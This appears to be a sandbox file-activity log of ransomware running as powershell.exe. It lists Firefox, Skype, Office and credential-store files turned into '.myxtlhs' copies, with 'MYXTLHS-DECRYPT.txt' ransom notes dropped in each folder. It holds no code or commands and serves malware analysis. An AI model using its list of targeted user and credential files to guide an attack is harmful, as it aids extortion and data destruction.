1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510890757.0bd2c0b0-6051-4678-a27c-37f3c0a0c3bf.main.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535455254239.6a6d1f6c-b378-42bd-83d4-6375a8d83c94.main.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510464398.048632c6-c96b-486d-b119-7e1a7a9c9e9a.main.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589777.8901d324-d310-406e-8d96-2ba1529e4bea.first-shutdown.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510890757.0bd2c0b0-6051-4678-a27c-37f3c0a0c3bf.main.jsonlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535455254239.6a6d1f6c-b378-42bd-83d4-6375a8d83c94.main.jsonlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-09\1536510464398.048632c6-c96b-486d-b119-7e1a7a9c9e9a.main.jsonlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454581431.ff499cec-8d4b-47de-a059-a9aea3d69a66.main.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589776.07f73e80-2b12-40ae-97b0-fa87f3167670.main.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589752.05c13197-8f39-40a1-b976-59f6f9c1cc5f.new-profile.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589777.8901d324-d310-406e-8d96-2ba1529e4bea.first-shutdown.jsonlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589752.05c13197-8f39-40a1-b976-59f6f9c1cc5f.new-profile.jsonlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454589776.07f73e80-2b12-40ae-97b0-fa87f3167670.main.jsonlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454581431.ff499cec-8d4b-47de-a059-a9aea3d69a66.main.jsonlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\events\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\store.json.mozlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\store.json.mozlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\containers.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\content-prefs.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cookies.sqlite.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cookies.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\content-prefs.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\containers.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cert9.db.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\compatibility.ini.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\bookmarkbackups\bookmarks-2018-08-28_14_uZyx1cMFmZ7ZpL4NneCk2A==.jsonlz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\compatibility.ini ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cert9.db ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\bookmarkbackups\bookmarks-2018-08-28_14_uZyx1cMFmZ7ZpL4NneCk2A==.jsonlz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\plugins.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\addons.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\bookmarkbackups\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\addons.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\plugins.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklist.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklist.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addons.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addonStartup.json.lz4.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\InstallTime20180807170231.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Pending Pings\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addonStartup.json.lz4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addons.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Vault\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\events\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Word\STARTUP\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Extensions\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Word\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\InstallTime20180807170231 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\NormalEmail.dotm.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\UProof\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\Normal.dotm.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\Normal.dotm ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\NormalEmail.dotm ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\Access Parts\1033\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\Access Parts\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\E02357FC7708441D4B0BE5F371F4B28961870F70.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\ECCD4BA46722CB4F92060701865DDF09D8AF68B4.myxtlhs ini
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\ECCD4BA46722CB4F92060701865DDF09D8AF68B4 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Speech\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Stationery\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\slimcore-0-4223384469.blog.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\shared.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\E02357FC7708441D4B0BE5F371F4B28961870F70 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\shared.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\slimcore-0-4223384469.blog ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db-journal.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db-journal ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-wal.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\config.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\config.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-wal ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-shm.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-shm ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\settings.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\settings.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\QuotaManager.myxtlhs vc
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Preferences.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl.bak.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Preferences ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl.bak ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\QuotaManager ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-1-1870167131.blog.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-1-1870167131.blog ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-0-2576771366.blog.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\logs\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\MANIFEST-000001.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-0-2576771366.blog ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\MANIFEST-000001 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG.old.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG.old ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\CURRENT.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\CURRENT ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000017.log.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000018.ldb.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000018.ldb ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000017.log ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000005.ldb.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000005.ldb ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG.old.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\MANIFEST-000001.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\MANIFEST-000001 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG.old ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\000003.log.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\CURRENT.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\CURRENT ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\000003.log ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\dictionaries\en-US.bdic.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\ecscache.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\ecscache.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\dictionaries\en-US.bdic ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\databases\Databases.db.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\device-info.json.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\dictionaries\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\databases\Databases.db ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\device-info.json ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\index.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\databases\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cookies.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cookies ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\index ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000004.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000004 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000003.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000001.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000002.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000003 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000002 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000001 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_3 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_3.myxtlhs ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_2.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_2 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_1.myxtlhs flc
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_1 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher Building Blocks\ContentStore.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Signatures\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_0.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher Building Blocks\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher Building Blocks\ContentStore.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_0 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\29fd2168-360f-422a-a685-e6961ea74ba8.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\Preferred.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\54ba308a-6a9a-4e0e-b137-b89d3579498b.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\CREDHIST.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\29fd2168-360f-422a-a685-e6961ea74ba8 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\Preferred ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\CREDHIST ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\54ba308a-6a9a-4e0e-b137-b89d3579498b ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\PowerPoint\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Proof\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.srs.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.srs ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.srs.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\NoMail.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\NoMail.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.srs ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\14.0\Preferences.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\14.0\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\14.0\Preferences.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\MSO1033.acl.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\MSO1033.acl ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\Connections\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\Connections\Pbk\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\MMC\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\MMC\taskschd.myxtlhs binary
